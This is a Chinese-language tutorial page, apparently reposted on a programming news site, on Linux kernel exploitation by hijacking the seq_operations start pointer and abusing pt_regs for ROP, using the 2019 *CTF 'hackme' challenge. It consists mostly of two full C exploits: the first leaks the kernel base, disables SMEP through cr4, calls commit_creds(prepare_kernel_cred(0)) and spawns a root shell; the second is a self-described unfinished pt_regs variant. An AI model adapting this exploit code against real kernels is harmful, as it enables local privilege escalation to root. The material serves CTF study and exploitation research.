文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

kernel怎么利用pt regs劫持seq operations

2023-06-30 14:07

关注

本文小编为大家详细介绍“kernel怎么利用pt regs劫持seq operations”,内容详细,步骤清晰,细节处理妥当,希望这篇“kernel怎么利用pt regs劫持seq operations”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq_operations {    void * (*start) (struct seq_file *m, loff_t *pos);    void (*stop) (struct seq_file *m, void *v);    void * (*next) (struct seq_file *m, void *v, loff_t *pos);    int (*show) (struct seq_file *m, void *v);};

当我们read一个stat文件时,内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter){    struct seq_file *m = iocb->ki_filp->private_data;    //...    p = m->op->start(m, &m->index);    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

拿2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <string.h>#include <sys/sem.h>#include <sys/mman.h>int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;ioctl(fd, 0x30000, &heap);}void delete(int index){struct Heap heap;heap.index = index;ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30003, &heap);}void save_status(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] save the state success!");}void get_shell(){if (getuid() == 0){puts("[+] get root");//system("/bin/sh");char *shell = "/bin/sh";char *args[] = {shell, NULL};execve(shell, args, NULL);}else{puts("[-] get shell error");sleep(3);exit(0);}}void get_root(void){//commit_creds(prepare_kernel_cred(0));void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;void (*cc)(void *) = (void (*)(void *))commit_creds;(*cc)((*pkc)(0));}int main(){char buf[0x1000] = {0};int i;size_t seq_data[4] = {0};save_status();fd = open("/dev/hackme",0);if(fd < 0){puts("[-] open file error");exit(0);}add(0, 0x20, buf); // 0add(1, 0x20, buf); // 1add(2, 0x20, buf); // 2add(3, 0x20, buf); // 3delete(0);delete(2);int fd_seq = open("/proc/self/stat", 0);if(fd_seq < 0){puts("[-] open stat error");exit(0);}show(3, 0x20, -0x20, buf);vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);off = vmlinux_base - raw_vmlinux_base;commit_creds = off + 0xffffffff8104d220;prepare_kernel_cred = off + 0xffffffff8104d3d0;show(1, 0x20, -0x20, buf);heap_base = ((size_t *)buf)[0] - 0x80;printf("[+] heap_base=> 0x%lx\n", heap_base);i = 0;rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;rop[i++] = 0x6f0;rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;rop[i++] = 0;rop[i++] = (size_t)get_root;rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; rop[i++] = 0;rop[i++] = 0;rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;rop[i++] = (size_t)get_shell;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_sp;rop[i++] = user_ss;((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;edit(3, 0x20, -0x20, buf);size_t fake_stack = (heap_base + 0x40) & 0xffffffff;size_t mmap_base = fake_stack & 0xfffff000;if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base){puts("[-] mmap error");sleep(3);exit(0);}elseputs("[+] mmap success");memcpy((void *)fake_stack, rop, sizeof(rop));read(fd_seq, buf, 1);return 0;}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

__asm__("mov r15, 0x1111111111;""mov r14, 0x2222222222;""mov r13, 0x3333333333;""mov r12, 0x4444444444;""mov rbp, 0x5555555555;""mov rbx, 0x6666666666;""mov r11, 0x7777777777;""mov r10, 0x8888888888;""mov r9,  0x9999999999;""mov r8,  0xaaaaaaaaaa;""mov rcx, 0x666666;""mov rdx, 8;""mov rsi, rsp;""mov rdi, fd_seq;""xor rax, rax;""syscall");

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: 

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt_regs {    unsigned long r15;    unsigned long r14;    unsigned long r13;    unsigned long r12;    unsigned long rbp;    unsigned long rbx;    unsigned long r11;    unsigned long r10;    unsigned long r9;    unsigned long r8;    unsigned long rax;    unsigned long rcx;    unsigned long rdx;    unsigned long rsi;    unsigned long rdi;    unsigned long orig_rax;    unsigned long rip;    unsigned long cs;    unsigned long eflags;    unsigned long rsp;    unsigned long ss;};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个

我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),

布局如下:

pop_rdi_ret;init_cred;commit_creds;swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <string.h>#include <sys/sem.h>#include <sys/mman.h>int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};int fd_seq;struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;ioctl(fd, 0x30000, &heap);}void delete(int index){struct Heap heap;heap.index = index;ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){struct Heap heap;heap.index = index;heap.data = data;heap.len = len;heap.offset = offset;ioctl(fd, 0x30003, &heap);}void save_status(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] save the state success!");}void get_shell(){if (getuid() == 0){puts("[+] get root");//system("/bin/sh");char *shell = "/bin/sh";char *args[] = {shell, NULL};execve(shell, args, NULL);}else{puts("[-] get shell error");sleep(3);exit(0);}}void get_root(void){//commit_creds(prepare_kernel_cred(0));void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;void (*cc)(void *) = (void (*)(void *))commit_creds;(*cc)((*pkc)(0));}int main(){char buf[0x1000] = {0};int i;size_t seq_data[4] = {0};save_status();fd = open("/dev/hackme",0);if(fd < 0){puts("[-] open file error");exit(0);}add(0, 0x20, buf); // 0add(1, 0x20, buf); // 1delete(0);fd_seq = open("/proc/self/stat", 0);if(fd_seq < 0){puts("[-] open stat error");exit(0);}show(1, 0x20, -0x20, buf);vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);off = vmlinux_base - raw_vmlinux_base;commit_creds = off + 0xffffffff8104d220;prepare_kernel_cred = off + 0xffffffff8104d3d0;size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;((size_t *)buf)[0] = gadget;edit(1, 0x20, -0x20, buf);__asm__("mov r15, 0x1111111111;""mov r14, 0x2222222222;""mov r13, 0x3333333333;""mov r12, 0x4444444444;""mov rbp, 0x5555555555;""mov rbx, 0x6666666666;""mov r11, 0x7777777777;""mov r10, 0x8888888888;""mov r9,  0x9999999999;""mov r8,  0xaaaaaaaaaa;""mov rcx, 0x666666;""mov rdx, 8;""mov rsi, rsp;""mov rdi, fd_seq;""xor rax, rax;""syscall");return 0;}

读到这里,这篇“kernel怎么利用pt regs劫持seq operations”文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注编程网行业资讯频道。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯